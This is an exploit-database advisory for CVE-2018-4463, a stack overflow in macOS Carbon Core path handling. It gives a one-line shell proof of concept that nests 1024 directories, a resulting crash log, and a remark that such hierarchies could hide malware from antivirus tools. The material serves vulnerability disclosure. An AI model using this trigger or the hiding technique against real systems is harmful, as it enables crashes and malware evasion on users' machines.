macOS 10.14.1 Carbon Core Memory corruption Vulnerability

ID 1337DAY-ID-31747
Type zdt
Reporter zdt
Modified 2018-12-06T00:00:00


                                            CVE: CVE-2018-4463

Old and funny bug (CVE-2018-4463) was patched by Apple in last macOS security update. Since 2015 Apple was exposing the users using Apple’s filesystem for stack overflow and infection by hidedd malware in DMG image. Insufficient patch for old vulnerability is the cause of problems

Trivial and funny PoC:

# for i in {1..1024}; do mkdir B && cd B; done
And for macOS 10.13 you will get ...
Crashed Thread:        0  Dispatch queue:

Exception Type:        EXC_CRASH (SIGABRT)
Exception Codes:       0x0000000000000000, 0x0000000000000000
Exception Note:        EXC_CORPSE_NOTIFY

Application Specific Information:
[14239] stack overflow

Thread 0 Crashed:: Dispatch queue:
0   libsystem_kernel.dylib            0x00007fff6baa8b66 __pthread_kill + 10
1   libsystem_pthread.dylib           0x00007fff6bc73080 pthread_kill + 333
2   libsystem_c.dylib                 0x00007fff6ba0424d __abort + 144
3   libsystem_c.dylib                 0x00007fff6ba04af8 __stack_chk_fail + 205
4    0x00007fff44ce6a66 canonpath(char const*, char*, int*) + 971
5    0x00007fff44ca50c6 FSGetCanonicalPath + 143
6    0x00007fff44ce6f88 PathGetObjectInfo(char const*, unsigned int, short*, unsigned int*, unsigned int*, char*, unsigned int*, unsigned char*, unsigned int*) + 135
7    0x00007fff44cf2fed FSPathMakeRefInternal(unsigned char const*, unsigned int, FSRef*, unsigned char*) + 99
8          0x00007fff43b36444 _CFGetFSRefFromURL + 276
9                  0x00007fff412c2194 -[NSThemeDocumentButton _refreshDocumentIconAndDisplayNameForURL:] + 74
30                  0x00007fff4107aa72 NSApplicationMain + 804
31  libdyld.dylib                     0x00007fff6b958015 start + 1
where stack smashing protection prevented the stack overflow but the terminal has crashed. Special crafted hierarchy making the malware possibility to hidde mailcous code in place where the most of antiviruses have no access. 

Maksymilian Arciemowicz